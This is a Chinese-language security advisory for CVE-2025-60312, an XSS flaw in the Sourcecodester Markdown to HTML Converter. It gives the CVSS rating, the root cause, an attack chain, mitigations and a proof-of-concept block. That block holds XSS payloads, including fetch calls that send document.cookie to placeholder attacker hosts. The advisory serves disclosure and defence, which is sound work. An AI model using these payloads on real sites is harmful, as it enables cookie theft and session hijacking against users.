IPBUF安全漏洞报告
English
CVE-2025-60312 CVSS 6.1 中危

CVE-2025-60312:Sourcecodester Markdown转HTML转换器XSS漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-60312
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Sourcecodester Markdown to HTML Converter

相关标签

XSS跨站脚本CVE-2025-60312SourcecodesterMarkdown to HTML ConverterPHPWeb应用漏洞客户端攻击中危漏洞

漏洞概述

CVE-2025-60312是Sourcecodester Markdown to HTML Converter v1.0中存在的一个跨站脚本(XSS)漏洞。该漏洞位于应用程序的"Markdown Input"(Markdown输入)字段中,由于该字段未对用户输入进行充分的过滤和转义处理,远程攻击者可以通过构造包含恶意HTML/JavaScript代码的Markdown内容,利用该漏洞在受害者的浏览器上下文中执行任意脚本代码。

当受害者在浏览器中点击"Convert to HTML"(转换为HTML)按钮时,应用程序会将用户输入的Markdown内容渲染为HTML并显示在页面上。由于缺乏对输入内容的有效过滤,恶意脚本代码会随之在受害者的浏览器中执行,从而可能导致会话劫持、Cookie窃取、钓鱼攻击、恶意重定向等安全风险。

该漏洞的CVSS v3.1评分为6.1,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需认证(PR:N),但需要用户交互(UI:R)才能触发。漏洞的影响范围为变更(Scope Changed, S:C),对机密性和完整性有低影响,对可用性无影响。该漏洞的披露日期为2025年10月7日,由[email protected]提交。

技术细节

该XSS漏洞的根本原因在于Sourcecodester Markdown to HTML Converter v1.0在处理用户输入的Markdown文本时,未对输入内容进行适当的HTML实体编码或过滤。

具体技术原理如下:

1. **输入点**:应用程序提供一个"Markdown Input"文本区域,允许用户输入Markdown格式的文本内容。

2. **处理流程**:当用户点击"Convert to HTML"按钮时,前端JavaScript代码会读取文本区域中的Markdown内容,并通过Markdown解析器将其转换为HTML格式。

3. **漏洞触发**:由于Markdown解析器在转换过程中允许原始HTML标签通过(即Markdown规范中的"Raw HTML"特性),而应用程序未对此进行过滤,攻击者可以直接在Markdown输入中嵌入恶意的`<script>`标签或其他HTML事件处理器(如`<img src=x onerror=alert(1)>`)。

4. **执行机制**:转换后的HTML被直接注入到页面DOM中(通常通过`innerHTML`属性),导致恶意脚本在受害者的浏览器上下文中执行。

5. **利用方式**:攻击者可以构造包含`<script>alert(document.cookie)</script>`或`<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>`等payload的Markdown文本,诱导受害者点击转换按钮后即可执行恶意代码。

由于该漏洞需要用户交互(UI:R),攻击者通常需要通过社会工程学手段(如钓鱼邮件、即时消息等)诱导受害者访问恶意页面或粘贴恶意内容。

攻击链分析

STEP 1
步骤1:漏洞侦察
攻击者识别目标系统使用Sourcecodester Markdown to HTML Converter v1.0,并通过分析其前端代码确认Markdown输入字段未对HTML/JavaScript进行过滤。
STEP 2
步骤2:构造恶意Payload
攻击者构造包含恶意JavaScript代码的Markdown文本,例如嵌入<script>标签或使用HTML事件处理器(如onerror、onload)来触发脚本执行。
STEP 3
步骤3:诱导受害者
攻击者通过钓鱼邮件、社交媒体或其他社会工程学手段,诱导受害者将恶意Markdown内容粘贴到"Markdown Input"字段中。
STEP 4
步骤4:触发漏洞
受害者在页面中点击"Convert to HTML"按钮,应用程序将包含恶意代码的Markdown内容渲染为HTML并注入到页面DOM中。
STEP 5
步骤5:恶意代码执行
恶意JavaScript代码在受害者的浏览器上下文中执行,可窃取Cookie、会话令牌,或执行其他恶意操作(如重定向到钓鱼页面)。
STEP 6
步骤6:数据窃取与利用
攻击者利用窃取的会话信息冒充受害者身份,访问受限资源或执行进一步的攻击活动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-60312 PoC - XSS in Sourcecodester Markdown to HTML Converter v1.0 --> <!-- Payload to be pasted into the "Markdown Input" field --> <!-- Method 1: Direct script tag injection --> <script>alert('XSS - CVE-2025-60312');</script> <!-- Method 2: Cookie stealing via img onerror --> <img src=x onerror="fetch('https://attacker-server.com/steal?cookie='+document.cookie)"> <!-- Method 3: SVG-based XSS --> <svg onload=alert(document.domain)> <!-- Method 4: Event handler injection --> <body onload=alert('XSS')> <!-- Steps to reproduce: --> <!-- 1. Navigate to the Markdown to HTML Converter page --> <!-- 2. Paste any of the above payloads into the "Markdown Input" field --> <!-- 3. Click the "Convert to HTML" button --> <!-- 4. Observe that the JavaScript code executes in the browser -->

影响范围

Sourcecodester Markdown to HTML Converter v1.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)在前端对Markdown转换后的HTML内容使用DOMPurify等库进行净化处理,移除所有危险标签和事件属性;2)部署严格的Content Security Policy(CSP)头,限制内联脚本的执行;3)为所有敏感的Cookie设置HttpOnly和Secure标志,降低会话被窃取的风险;4)对用户输入实施白名单过滤,仅允许合法的Markdown语法通过;5)考虑在服务器端对输出内容进行二次过滤和转义处理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表